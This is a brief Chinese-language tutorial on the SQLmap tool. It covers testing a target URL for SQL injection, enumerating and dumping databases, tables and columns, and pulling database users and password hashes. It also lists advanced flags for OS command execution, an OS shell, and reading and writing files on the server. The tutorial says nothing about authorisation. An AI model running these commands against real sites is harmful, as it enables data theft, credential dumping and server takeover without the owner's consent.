SQLmap工具简介
SQLmap就是一个自动化的工具,可以帮助我们完成繁杂的sql注入检测、sql注入攻击。因为如果人工去检测目标网站的注入点是非常耗时间的一件事,所以就有大牛们开发出这款自动化的攻击工具。
SQLmap的安装我就不提了,去搜索引擎找一下就有很多“手把手”教程。
关于SQLmap的使用
一、我们拿到目标的url,第一步就要判断该url是否存在sql注入点,能否发起sql注入获取数据
sqlmap.py -u 目标url
当注入点后面的参数大于或等于两个的时候,需要加上双引号
sqlmap.py -u "目标url"
注意:我们在返回的信息中有三处需要选择
(1)it looks like the back-end DBMS is “MySQL”. Do you want to skip test payloads specific for other DBMSes?
意思是检测到数据库可能是Mysql,是否需要跳过检测其他数据库。根据实际情况去选择
(2)for the remaining tests, do you want to include all tests for “MySQL” extending provide level (1) and risk(1) values?
意思是在“level1、risk1”的情况下,是否使用Mysql对应的所有payload进行检测。
(3)Get parameter “id” is vulnerable. Do you want to keep testing the others(if any)?
意思是参数ID存在漏洞,是否要继续检测其他参数。
二、既然我们判断出注入点,那么我们就去查询目标url使用的数据库
(1)查询当前用户的所有数据库
sqlmap.py -u 目标url --dbs
(2)选择其中一个数据库获取表名
sqlmap.py -u 目标url -D 数据库名 --tables
(3)获取表中的字段
sqlmap.py -u 目标url -D 数据库名 -T 表名 --columns
(4)获取字段内容
sqlmap.py -u 目标url -D 数据库名 -T 表名 -C 字段名 --dump
(5)如果当前用户具有读取所有用户名的权限,那么可以使用下面命令进行获取
sqlmap.py -u 目标url --users
(6)同理具有相应的权限,可以获取用户密码表的数据
sqlmap.py -u 目标url --passwords
(7)获取当前网站数据库的名称
sqlmap.py -u 目标url --current-db
(8)获取当前网站数据库的用户名
sqlmap.py -u 目标url --current-user
SQLmap进阶使用
(1)–level 5:探测等级
(2)–is-dba:当前用户是否为管理员
(3)–roles:列出数据库管理员角色
(4)–referer:Http Referer头
(5)–sql-shell:进行自定义SQL语句
(6)–os-cmd,–os-shell:进行任意操作系统命令
(7)–file-read “文件地址”:从数据库服务器中读取文件
(8)–file-wirte “内容” --file-dest “目标地址”